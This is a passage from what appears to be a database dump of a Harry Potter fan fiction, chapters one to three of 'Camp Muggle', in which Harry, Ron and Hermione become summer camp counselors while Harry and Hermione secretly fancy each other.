turned away from the annoyance and instead decided to fly over to Hermione\'s shoulder and nip friendly at her hair.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p><i>Dear Mione,<br>\n\n\n<br>\n Did Harry call me a git again? Honestly he can be such a prat sometimes! All I did was use the tele. Besides, his Uncle yelled back. Anyway, yes I can be a counselor also. I will be arriving with my Mum tomorrow at 1pm. She would like to visit with your mother if that\'s all right. If you don\'t mind her coming, could you send a note back with Pig? We\'ll be using the new company car my dad got when he replaced Fudge as the Minister of Magic. Mum likes driving the Muggle contraption. See you then.<br>\n\n\n<br>\n -Ron</i><br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Hermione gently brushed Hedwig off and went to search for a quill. She ended up grabbing two pieces of parchment. &quot;Mother,&quot; she called into the kitchen.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Yes Mione-dear?&quot; she smiled. &quot;Dinner\'s almost ready, about five more minutes.&quot; She said entering the living room.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;All right, I\'ll be ready. Ron\'s mother was wondering if it would be all right if she could visit with you tomorrow afternoon while she drops Ron off. He and Harry both accepted my invitations by the way and will both be arriving tomorrow afternoon,&quot; she informed her mother.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Of course dear. Please invited Molly to stay for supper also,&quot; she smiled. &quot;Now wash up and come eat.&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Alright, just let me send off these owls,&quot; she turned back to her parchments.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p><i>Dear Ron,<br>\n\n\n<br>\n My mother would like to invite your Mum to supper tomorrow. I\'m looking forward to your arrival.<br>\n\n\n<br>\n Yours,<br>\n\n\n<br>\n Hermione Granger</i><br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>She grabbed Pig by the tail feathers, whom was trying desperately to fly into the kitchen, enticed by the supper smells. She attached the parchment and sent Pig off through the window.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p><i>Dear Harry,<br>\n\n\n<br>\n I am very happy you will be able to come. I am looking forward to seeing you and Ron tomorrow. He is arriving with his Mum tomorrow afternoon. She is staying for supper also. Of course you are invited also. I\'d suggest you bringing all of your school supplies here. You can store them at my house along with Hedwig if you\'d like. I do hope it\'s sooner that I see you.<br>\n\n\n<br>\n Yours,<br>\n\n\n<br>\n Hermione Granger</i><br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>She\'d debated on whether or not to write \'Love, Hermione\' but chose to address it similarly to Ron\'s letter incase boys were as big of gossips as girls and Harry became suspicious. She had no intention of ever revealing her feelings to him. She valued his friendship too much to risk it on some stupid heart\'s desire.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Calling Hedwig over, Hermione attached the letter to her leg and gave her a friendly pat on the head before sending her off.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;I\'m washing up Mum and I\'ll be at the supper table in a minute,&quot; she called heading off to the washroom.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Alright dear, I\'ll go get your father for dinner.&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Hermione was very anxious for her friends to arrive tomorrow. She missed them both so much. It was indeed going to be a very interesting summer.</p> '),
	(134, 2, ' <p>Chapter Two<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Hermione awoke the next morning early. She was too excited to sleep. Today Harry and Ron were to arrive. After she took a shower, Hermione spent an unusual hour fixing her hair up. This was very unlike her, but she was so excited, especially to see Harry, she wanted to look perfect. Normally, if Hermione ever saw Harry or Ron during the summer, it was near the tail end and only at the Burrow, Ron\'s home, or Diagon Alley for school supply shopping.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>She knew Harry wouldn\'t notice the time she\'d taken to straighten it, but she still wanted to look good. \'Best be looking sharp. It\'s always good to make an impression in the beginning,\' Hermione thought to herself. It was going to be a long and wonderful summer with Harry and Ron by her side. She especially wanted Harry to remember how nice she could look since they were going to be at camp where not looking one\'s best is common.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>After fixing herself up, and applying make-up, which she\'d begun to wear during her fifth year, Hermione decided to read \'Hogwarts: A History\' her favorite book until lunch.<br>\n\n<br>\n\n</p>\n\n<p><br>\n ~*~<br>\n\n<br>\n\n</p>\n\n<p>At the same time, Harry Potter sat in his upstairs bedroom of his Aunt and Uncle\'s house packing his school supplies meticulously into his trunk. Next to it laid two pre-packed suitcases he had prepared the night before for camp. As soon as he\'d received Hermione\'s owl, he began to pack. That is, until his other best friend Ron Weasley called. After that, he had to take a break to wash dishes as his Uncle had become very angry over the phone call.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>It was about 11am and he could hear his Aunt Petunia preparing lunch downstairs. His Uncle had been grumbling since they day before so Harry and been making himself scarce. Every few minutes, he would glance at the clock and debate if it was too early or not to go to Hermione\'s. He wanted to see her very badly. Since the middle of his fifth year, unbeknownst to anyone, even Ron, Harry had developed quite a crush on Hermione. The summer after fifth year had been horrible. He hadn\'t been able to see her much at all. She\'d been vacationing with her family in Australia. Any time away from her became harder and harder every time. He refused to admit it to anyone. He\'d contemplated on telling Ron, but Harry just couldn\'t bring himself to expose his true feelings.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>During his fifth year, he\'d attempted a relationship. It was going great until one day, during Christmas break, Hermione walked into the Gryffindor common room wearing a simple black skirt and a lavender turtleneck sweater. It just hit him. It came up, out of now where, and smacked him right in the face. He loved her. He sat there and gaped for a minute until she noticed. He immediately blushed and ran up to his room. Hermione had obviously just thought he was being strange. When he got to his room, all he could do was pace around his room trying to make sense of it. He\'d had no idea he\'d grown to love her so much. True, he\'d always thought she was beautiful, but she was always his friend, his best friend. Then out of nowhere, he was just admiring her simple beauty one day and he just realized it. Every day since, he tried to tell himself why it couldn\'t be. He even tried to continue his relationship, but it wasn\'t fair to Rebecca. He hadn\'t attempted to date anyone else after he ended the relationship, but instead spent his time miserably pining away for his best friend, Hermione.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Harry finished packing the rest of his school trunk that he was taking with him to Hermione\'s. He glanced at the clock again and it read 11:24am. He wanted to get over to Hermione\'s as quickly as possible. He knew he\'d said he\'d be there later, but he had hinted he wanted to arriver earlier. Hermione had replied very positively about wanting to see him early.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Debating again, he decided he\'d better go now before he chickened out on arriving early. Stacking his bad atop his trunk, he dragged it all downstairs. He hoped by arriving early, he\'d beat Ron and earn himself a bit of alone time with Hermione. Wishful thinking he knew, but it was still his wish nonetheless.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Uncle Vernon, I\'m leaving now, see you next year,&quot; he announced, dragging his bags to the fireplace. It was still transfixed by Mr. Weasley so Harry could fit in and out. Uncle Vernon insisted it be left that was when he left for fifth year due to the large inconvenience of all the Weasley\'s continually trying to arrive via floo powder with it boarded up. Rather that see the use magic more than once, he simply yelled to leave it be that time.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Boy, what\'s the meaning of this?&quot; Uncle Vernon said in a gruff voice coming in from the dining room with a large white napkin tucked into his shirt. He\'d been enjoying a nice pre-lunch with his well-overdone son Dudley. Naturally they needed a snack sine Aunt Petunia wouldn\'t be finished with lunch for another thirty minutes at least.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;I told you yesterday, I\'m going to visit my friend Hermione. I won\'t be back all summer,&quot; Harry drug in trunk squarely in front of the fireplace.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;I forbid it,&quot; he barked, food flying out of his mouth.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;And you\'d rather put up with me all summer long then,&quot; he inquired, pulling a small bag of floo powder out of his bag.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Well, no,&quot; he mumbled under his moustache.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Right then. See you,&quot; he took a pinch a floo powder and threw it into the fire announcing, &quot;Granger Residence&quot;. He thought her heard Uncle Vernon mumbled a goodbye, but he shrugged it off assuming it couldn\'t be true. Instead, he felt a smile growing on his face at the thought of momentarily being at Hermione\'s home.<br>\n\n<br>\n\n</p>\n\n<p><br>\n ~*~<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Hermione yawned and looked at at the clock. It was 11:45am. She closed \'Hogwart\'s: A History\' and decided to venture downstairs for some lunch. As she reached the bottom of the stairs, she noticed a trunk and a couple bags stacked there. She immediately recognized them and a giant smile grew across her face.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Harry!?! HARRY!&quot; she called, excitedly running down the stairs.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;\'Mione?!&quot; She heard in call back, she could hear the enthusiasm in his voice and her smiled widened. He suddenly popped out of the dining room, followed by Hermione\'s mother.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Oh Harry, you came early!&quot; she squealed, launching into a hug. He reciprocated fiercely, spinning her a partial turn. She felt her heart skip a beat as he feet left the ground momentarily. As he put her down and they pulled away, she noticed him smiling back at her, his eyes dancing with something she hadn\'t noticed before, but she didn\'t have time to analyze it as her mother interjected.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Harry and I were just enjoying lunch. Why don\'t you come eat something, dear?&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;How long have you been here?&quot; she inquired to Harry, his hands still resting on her hips. Neither of them seemed to notice they were still there.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;About fifteen minutes,&quot; he smiled sheepishly.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;And you didn\'t inform me,&quot; she frowned moving to cross her arms, but running into his. Both blushed and pulled back. &quot;Never mind it, let\'s eat.&quot; She turned quickly so he could not gauge her reaction.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>After lunch, Hermione helped Harry move his school trunk into storage and found a room for Hedwig\'s cage where she would be comfortable when she returned. She was off delivering a letter to Sirius so he wouldn\'t wonder why Harry wasn\'t replying to any owls and he\'d know where Harry was. They then went to sit in the living room and wait thirty more minutes for what they expected to by Molly and Ron Weasley\'s prompt arrival.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;So,&quot; Harry began as they sat down. They were alone. Hermione\'s father was still at work and her mother was beginning to prepare a roast for dinner. She\'s taken the week off from work to spend some extra time with her daughter before she left for the summer and near following school year. Neither of them spoke, they just kind of smiled at each other looking into one another\'s eyes.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>\'She is unbelievably beautiful,\' Harry thought, \'I wonder if she did her hair just for me? Right, like that would happen.\'<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>\'Is it possible he grew more handsome in the six days I haven\'t seen him? I wonder if he noticed my hair! No, of course not..\' she was still smiling like an idiot.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;So...&quot; Harry started again, which seemed to break the spell that held them their gaze on each other. They both laughed.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Are you a bit nervous?&quot; Hermione inquired.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Pardon?&quot; Harry was a bit flustered. \'Did she notice my staring?\' he wondered.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;About camp I mean,&quot; she blushed a bit. She hadn\'t expected him to look so alarmed at her inquiry.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Oh, no, not really, you?&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;No,&quot; she smiled. He smiled back much to her appeasement.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Right then,&quot; Harry said. &quot;Perhaps Ron is?&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Oh, Ron, yes,&quot; she snapped back to reality at the mention of his name, &quot;I mean to say, no. I mean, I don\'t know. Maybe we should ask him when he gets here?&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Sensing her being uncomfortable due to her flustered response, Harry decided to change the subject. \'Think Potter, what to say, what to say.\' &quot;Um, Hermione?&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Ya, Harry?&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Today your hair i....t, it looked,&quot; he noticed to wait edgily for him to finish, &quot;it looked good. I mean nice. I mean, well, you know what I mean,&quot; he blushed.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Thanks for noticing,&quot; she beamed back. \'Oh, he noticed! He actually noticed! Maybe...\' &quot;Harry,&quot; she ventured. She was contemplating on whether or not to try and test the waters and see if he responded.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Ya \'Mione?&quot; he smiled, leaning closer.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;I...&quot;<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>As if by cue, a horn sounded outside.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;That must be...&quot; Hermione started.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Ron,&quot; Harry finished a little bleakly. He covered though not wanting Hermione to notice. &quot;Let\'s go then. That bloke\'ll disturb the neighbor hood with that horn.&quot; (It was still sounding.)<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Right then,&quot; Hermione laughed as they got up and went outside to greet Ron.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>~*~<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;I mean, it was amazing! And the Wronski Feint, WOW! He was better than Krum!&quot; Ron said between bites of food.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;How close to the ground did he get before pulling up?&quot; Harry was at the edge of his seat listening to Ron recount the Chudley Cannons game his father had taken him to. As the new Minister of Magic, he had access to season tickets. Ron had been telling Harry, and whoever else was listening, about his new favorite play, Michael Park, an American who had come over to play. Molly Weasley and Mrs. Granger were having their own conversation at the other end of the supper table. Hermione was also listening to Ron\'s story, but gave a disapproving look at the mention of Krum\'s name.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;About an inch I reckon!&quot; Ron said excitedly.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Wow!&quot; Harry\'s eyes grew.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>Ron continued to recount his story for the rest of dinner until it was over.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Well,&quot; Molly said from the doorway. &quot;Thank you for dinner. Ron, behave. I\'ll see you at Diagon Alley,&quot; she pulled Ron over and kissed his forehead. &quot;You too Harry,&quot; she pulled him into a hug. &quot;And you Hermione dear.&quot; As she pulled her close, she whispered into her ear, &quot;Don\'t let those two cause any trouble now. You have the best head on your shoulder\'s, we\'re all certain of that. I trust you\'ll look after them,&quot; she gave Hermione and extra squeeze and smile at her. After thanking Mrs. Granger for dinner, she left.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>&quot;Now all of you off to bed,&quot; she instructed the three, &quot;We have to leave bright and early tomorrow.<br>\n\n\n<br>\n\n<br>\n\n</p>\n\n<p>The bid their goodnights and went off to bed, eager to begin their first day at Camp Silver Lake.</p> '),
	(134, 3, ' <p><b>Disclaimer in Chapter One</b></p>\n\n<p>~*~</p>\n\n<p>Camp Muggle</p>\n\n<p>~*~</p>\n\n<p>Chapter Three:<br>\n\n<br>\n\n</p>\n\n<p><br>\n The next morning came quickly. Soon, Hermione\'s mother was driving everyone to camp. The counselors had been asked to come one day early for training and camp set-up. Naturally, they were using Muggle transportation. It had been a fight between Hermione and the boys, but eventually she\'d gotten them to agree to put up with the three-hour car ride. Ron tried to insist on using floo powder to the house of an old witch who\'d worked at the ministry. Her home was only a few mintues from the camp, but Hermione insisted they arrive normally. </p>\n\n<p>Giving up everything magical wasn\'t easy for any of them. Hermione had a favorite diary she gotten during her fifth year while on a school trip to Hogsmead that would talk to you about any worry you wrote in it. She debated on taking it since she never missed a day of writing, but decided it would be safer left at home, especially since most of what she wrote pertained to Harry and she didn\'t want that getting into the wrong hands. </p>\n\n<p>The boy\'s had their own transfixed items as well, but Hermione had made sure to search their bags and force them to empty their pockets before getting into the car. She\'d found a few ton-tongue toffees and canary creams in their pockets, but they\'d been smart enough to leave most everything else behind instead of facing her wrath.<br>\n\n\n<br>\n &quot;Hermione, are we there yet?&quot; Ron asked for the hundredth time. He made a habit of nagging her every five minutes to prove the point that he was still angry they had to use Muggle transportation.<br>\n\n\n<br>\n &quot;Ron, if you ask again I\'ll...I\'ll...I\'ll tell your campers you wet the bed!&quot; she fumed from her seat in front, turning and addressing him properly. &quot;Now for the last time, we\'ll be there in about ten minutes. The ride\'s nearly through.&quot;<br>\n\n\n<br>\n Ron just gave her a nasty look and turned away from her, folding his arms and looking out the window. She glared and spun back around in her seat in retaliation.<br>\n\n\n<br>\n &quot;Don\'t mind him,&quot; Harry leaned forward from the back seat and whispered into her ear. He reached up and put a gentle hand on her shoulder. &quot;He\'s just being a git. Besides, he\'s still used to his mother\'s driving since they just recently got an automobile. Can you blame him for being so antsy about riding in them?&quot; He felt her tightened shoulders relax under his touch and heard her release a sigh. Satisfied, he returned to his seat.<br>\n\n\n<br>\n \'That boy!\' thought Hermione as she tried not to smile. She had to remind herself that she should be exasperated with Harry for having such an effect on her. All he had to do was touch her and she\'d relaxed. His voice alone was soothing. </p>\n\n<p>Hermione rolled her eyes at herself and looked out the window at the passing trees. It had gotten progressively more wooded as they got closer and closer to the camp location. It was a very secluded spot. Not to mention safe. Hermione had naturally owled Professor Dumbledore and told him about their situation. They knew Voldemort was still on the prowl and everyone, especially Harry, needed protection. He\'d placed a few charms around the camp, unbeknownst to anyone else but Hermione and the rest of the Hogwart\'s faculty. He\'d even gone as far to make sure there was someone there who could help incase of an incident. He\'d enlisted Madame Pomfrey to be the camp nurse. Hermione knew Ron and Harry were in for a nasty shock when they saw her, but the plan was for her to make in seem like a coincidence that she was the nurse at the same camp they were working at.<br>\n\n\n<br>\n &quot;Are we there?!&quot; she heard Ron ask faintly in the background of her reverie.<br>\n\n\n<br>\n &quot;Ron!&quot; she closed her eyes in exasperation, &quot;for the <i>LAST TIME</i>...&quot; She opened her eyes and noticed that they actually were there, &quot;we\'re here.&quot;<br>\n\n\n<br>\n &quot;Excellent,&quot; he smiled, &quot;\'Bout time then.&quot;<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Hermione\'s mother had left and all of the counselors who&#8217;d arrived were gathered in the lodge waiting for the last few to show up. Ron, Harry, and Hermione were among the last to get there, so they hadn\'t been made to wait very long. They\'d found a table off to the corner to themselves. They hadn\'t really bothered to look around to see who they\'d be working with for the rest of the summer.<br>\n\n\n<br>\n &quot;Okay everyone, quite down!&quot; A voice rose over the crowd. Hermione looked up and noticed a young man standing atop a table in the front of the room. He looked young for an adult, probably about 22 or 23. He was a little over six foot tall, about the same height as Harry. Ron easily towered them at 6\'3&quot;. He was tan and had short brown hair. If Hermione wasn\'t so smitten with Harry, she might have fancied him. </p>\n\n<p>&quot;For those of you who are new, or many not have met me yet, my name is Greg Waters. I\'ve been Camp Director here at Camp Silver Lake for the past two years now. Before that, I was a counselor. I\'ve had a lot of great times out here so I hope the same for all of you. Today we\'re going to do some introductions and get to know one another. Then we\'ll split into cabin assignments. After that, we\'re going to work in groups based upon cabin assignments. We\'ll be going over some basic first aid, some situational information, and the basic camp rules. After training, we\'ll have dinner, and then you\'re free to move into your cabins. I expect lights out at 10:00 sharp. Your campers arrive between 7:00 and 8:00 tomorrow morning. I\'d recommend waking up around 6:00am so everyone can get showers in if they wish and be dressed, in camp shirt don\'t forget. If you want time for breakfast, I highly suggest getting an early shower. Everyone needs to be up at the recreation field by 7:00 sharp.&quot;<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;\'Mione!&quot; Hermione turned around to what she instantly recognized as Harry\'s voice. It was about 8:30pm. She was thoroughly exhausted from the day of training. It had taken all the way up to 8:00 to finish. After they broke into cabin assignments, she\'s rarely had a chance to see Harry and Ron. At the moment, she was walking to her cabin with her bags and blankets stacked above her head. It had already taken her ten minutes just to get halfway down the path without spilling any of them.<br>\n\n\n<br>\n &quot;Harry?&quot; she called over the pile. She couldn\'t see him.<br>\n\n\n<br>\n &quot;Right here,&quot; she heard his voice on the other side of the pile. &quot;Let me help.&quot; He came into view as a large portion of the stack of bedding and blankets disappeared.<br>\n\n\n<br>\n &quot;Thanks,&quot; she blushed and he walked up to her side and they continued down the path toward her cabin.<br>\n\n\n<br>\n &quot;How are your cabin mates?&quot; he inquired.<br>\n\n\n<br>\n &quot;Very nice. There are two senior girl counselors in each of the four girl cabins, and one junior girl counselor. Are the boy\'s cabins similar?&quot; she kept her head forward as to not trip on the path, but stole furtive glances at Harry next to her. He looked great. She could see his muscles flexing as he carried the larger portion of her baggage.<br>\n\n\n<br>\n &quot;Same. Ron and I were very fortunate. We\'re both senior boy counselors together. A 15 year old Muggle boy named Patrick Johnson is our junior boy counselor.&quot;<br>\n\n\n<br>\n &quot;Well naturally he\'s a Muggle, Harry,&quot; Hermione laughed a bit. &quot;And best to not being using that word. We need to act like Mug...I mean to say, we must act normal.&quot; She blushed correcting herself.<br>\n\n\n<br>\n &quot;Right,&quot; he agreed opening the door to her cabin for her. His eyes followed her. They were twinkling like the stars that had just risen outside.<br>\n\n\n<br>\n &quot;First bunk on the left,&quot; she directed him where to put the bags. He set them down and continued to gaze at her, not noticing the two other girls in the cabin until one sprung at him.<br>\n\n\n<br>\n &quot;Why hello there!&quot; A pretty brunette stood instantly and nearly flew over to Harry. &quot;I\'m Allison White.&quot; She extended her hand as Harry shook it, a bit startled at her forwardness.<br>\n\n\n<br>\n &quot;Nice to meet you. I\'m Harry,&quot; he smiled meekly, glancing worriedly at Hermione, hoping she wouldn\'t take this the wrong way. She smiled back supportively. Obviously she\'d known Allison would react to meeting him this way.<br>\n\n\n<br>\n &quot;I\'m fifteen. I\'m the junior counselor here. This is my cousin Meegan White. She\'s sixteen. She lives in London. I\'m from America. I came to visit for the summer. My parents thought it would be a good learning experience. Have you ever been to America, Harry? Where are you from Harry?...&quot;<br>\n\n\n<br>\n Harry turned to Hermione looking a bit afraid. Luckily for him, Meegan cut off her cousin.<br>\n\n\n<br>\n &quot;Allison, leave Harry alone,&quot; she said to Allison who instantly quieted and sat down. Meegan rose and walked over to Harry, politely extending her hand. &quot;Meegan White,&quot; she smiled. She also had brown hair, but unlike Allison\'s curled style, hers was plain and simple, falling down her back. She was very beautiful and seemed to carry a sophisticated air around her.<br>\n\n\n<br>\n &quot;Nice to meet you,&quot; Harry smiled. He liked her. Not like he liked Hermione, mind you, but he found her to be very kind.<br>\n\n\n<br>\n She leaned forward and whispered into his ear, &quot;Now run away while I distract Allison.&quot;<br>\n\n\n<br>\n &quot;Nice to meet you both,&quot; he repeated again and turned to Hermione. She immediately got the hint.<br>\n\n\n<br>\n &quot;I\'ll be right back,&quot; she smiled, taking Harry by the arm and swiftly leading him out the door. &quot;Right, sorry \'bout Allison.&quot; She smiled, still holding onto his arm gently.<br>\n\n\n<br>\n &quot;Is she always like that?&quot; Harry asked with a bemused expression.<br>\n\n\n<br>\n &quot;Afraid so. Meegan\'s quite nice though.&quot;<br>\n\n\n<br>\n &quot;Yes, I thought so too.&quot;<br>\n\n\n<br>\n Hermione frowned a bit at this. She didn\'t like the sound of that. Harry must have noticed because he changed the subject immediately.<br>\n\n\n<br>\n &quot;I\'m going to go find Ron but, well,&quot; he hesitated for a moment, looking as if he were scheming something in his head, &quot;Right, anyway, \'Night \'Mione.&quot; He suddenly finished, quickly leaning over and hugging her tight before releasing her and hustling off.<br>\n\n\n<br>\n Hermione was quite shocked. \'Where did that come from?\' She wondered as she walked back into the cabin with a silly grin on her face.&nbsp; She didn&#8217;t get to think for long however as she was immediately bombarded by Allison.<br>\n\n\n<br>\n &quot;Hermione, he is fabulous! So handsome!!&quot; Allison beamed. &quot;Is he your boyfriend?&quot;<br>\n\n\n<br>\n &quot;Um&#8230;well...&quot; She desperately didn\'t want to say \'No\', afraid Allison would take too much of a liking to him, but there was no other answer. &quot;Um...&quot;<br>\n\n\n<br>\n &quot;Hermione?&quot; Meegan looked at her inquisitively, &quot;is he? He looked at you as if he might fancy you?&quot;<br>\n\n\n<br>\n &quot;Did he now?&quot; Hermione brightened up and took a seat on Meegan\'s bed, next to her and Allison.<br>\n\n\n<br>\n &quot;I thought he did. Allison?&quot;<br>\n\n\n<br>\n &quot;I did ask if he was her boyfriend.&quot; she rolled her eyes at her older cousin.<br>\n\n\n<br>\n &quot;Well, he\'s not...but...&quot; she hesitated.<br>\n\n\n<br>\n &quot;Hermione, really now, this IS camp,&quot; Allison giggled. &quot;Haven\'t you ever been? Girl\'s cabins are notorious for gossip amongst themselves. It\'s not camp unless you spill your secrets among the girls who will become your closest companions for the rest of the summer. Don\'t worry, it\'s like totally illegal to spill any of the secrets told within a cabin\'s walls.&quot;<br>\n\n\n<br>\n &quot;Well, the thing is,&quot; she looked up, &quot;Harry\'s my best friend.&quot;<br>\n\n\n<br>\n &quot;Is that all?&quot; Meegan asked. She had a feeling it wasn\'t.<br>\n\n\n<br>\n &quot;Well,&quot; Hermione was afraid. If she told them, they\'d be the first people she ever told unless one counted her bewitched diary. &quot;I...I might fancy him a bit.&quot; She blushed a wicked shade of crimson.<br>\n\n\n<br>\n &quot;A bit?&quot; Meegan laughed at her obvious embarrassment.<br>\n\n\n<br>\n &quot;Fine then. You might go as far to say he\'s been the sole object of my affection for the past two years,&quot; Hermione looked as if she might cry at the revelation.<br>\n\n\n<br>\n &quot;That\'s marvelous!&quot; Meegan smiled.<br>\n\n\n<br>\n &quot;Of course it is! They\'d be too cute together!&quot; Allison added.<br>\n\n\n<br>\n &quot;Really?&quot; Hermione asked.<br>\n\n\n<br>\n &quot;I think so. I also think Harry might fancy you too,&quot; Meegan looked at her quite certainly.<br>\n\n\n<br>\n &quot;Harry? Like me? That\'s...well, that\'s preposterous!&quot; Hermione shunned the idea. &quot;We\'ve been best friends for the past well...&quot; she\'d become flustered, &quot;the past...oh forever!&quot;<br>\n\n\n<br>\n &quot;He looked at you as if he liked you. Didn\'t you notice?&quot; Allison said.<br>\n\n\n<br>\n &quot;He looked at me like he always looks at me,&quot; Hermione tried to reason.<br>\n\n\n<br>\n &quot;So he always looks like a boy in love then?&quot; Meegan finished.<br>\n\n\n<br>\n &quot;Did he now?&quot; Hermione seemed very interested.<br>\n\n\n<br>\n The girls talked until lights out at ten and then continued to talk in the dark until they\'d drifted off to sleep. They\'d become instant friends bonded by the secrets they\'d shared all night. Including the fact that Meegan had noticed \'an adorable redhead\' at dinner who Hermione had been able to identify as Ron. They would have talked longer, but they knew they needed their rest for the long day to come.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Ron, I\'ve been a terrible git!&quot; Harry exclaimed, storming into the cabin they shared with Patrick Johnson who was in the bathroom at the moment. He\'d just run, literally from Hermione. He was too embarrassed to turn around to see if she\'d gone back into her cabin or not. He\'d hugged her trying to think of something to do to ease her thoughts that he might be interested in Allison. He\'d panicked and it was the only thing that could come to mind. She\'d felt so good in his arms.<br>\n\n\n<br>\n &quot;What\'s your blubbering about now?&quot; Ron looked up from his top bunk above Harry\'s. He sat the magazine down he was reading and leaned upside down over the edge to look at Harry below him. He\'d flopped onto his bed, shoes and all, in frustration after storming into the cabin.<br>\n\n\n<br>\n &quot;I&#8230;&quot; \'Oh no!\' Harry stopped and realized, he\'d never told anyone he liked her. Ron wouldn\'t understand. &quot;It was nothing.&quot; He simply cut off.<br>\n\n\n<br>\n &quot;Right then,&quot; Ron looked as if he was going to go back to his magazine as his head disappeared, but the next thing Harry knew, he\'d hopped off the top bunk and was towering over Harry\'s bed, blocking his only escape route. &quot;As I said, right then, let\'s hear it.&quot;<br>\n\n\n<br>\n &quot;It\'s nothing,&quot; Harry sat up, but easily realized Ron was not going to let him pass by and was not going to let it slide this time. Many a time had he stormed up to their dormitory after embarrassing himself in front Hermione, but he\'d always made up an excuse.<br>\n\n\n<br>\n &quot;Harry!&quot; he bellowed. &quot;I demand, as your best friend, to know why you always storm into the room in such a tizzy, then refuse to speak about it.&quot;<br>\n\n\n<br>\n &quot;She DID NOT make me act in a <b><i>tizzy</i></b> Ron!&quot; Harry stood up yelling at Ron, but quickly fell back to a seated position as he realized what he\'d said. His eyes grew large.<br>\n\n\n<br>\n &quot;AH HA!&quot; Ron exclaimed. &quot;I knew it! It\'s Hermione isn\'t it! I\'ve heard you mumble her name in your sleep. Admit it, YOU LIKE HER! You do don\'t you? I\'m right aren\'t I? Tell me I\'m right?&quot;<br>\n\n\n<br>\n &quot;Ron shut up! The entire camp\'ll here you! If you shut up then yes I do. Are you happy with yourself?&quot; Harry frowned, folding his arms.<br>\n\n\n<br>\n &quot;You like Hermione!!?&quot; he nearly yelled louder than before, if it was at all possible.<br>\n\n\n<br>\n &quot;Ron! Quit yelling you prat! You said it yourself that you\'d figured it out!&quot; Harry frowned.<br>\n\n\n<br>\n Ron sat down on Harry\'s bed next to him, lowering his voice as he spoke, &quot;I was just blubbering. I never thought you\'d say you actually liked her! I just figured you\'d gone off to do some masterful prank on Hermione and I just wanted to get in on it. Really that\'s all.&quot; He smiled.<br>\n\n\n<br>\n Harry looked up and smiled back, noticing Ron wasn\'t saying 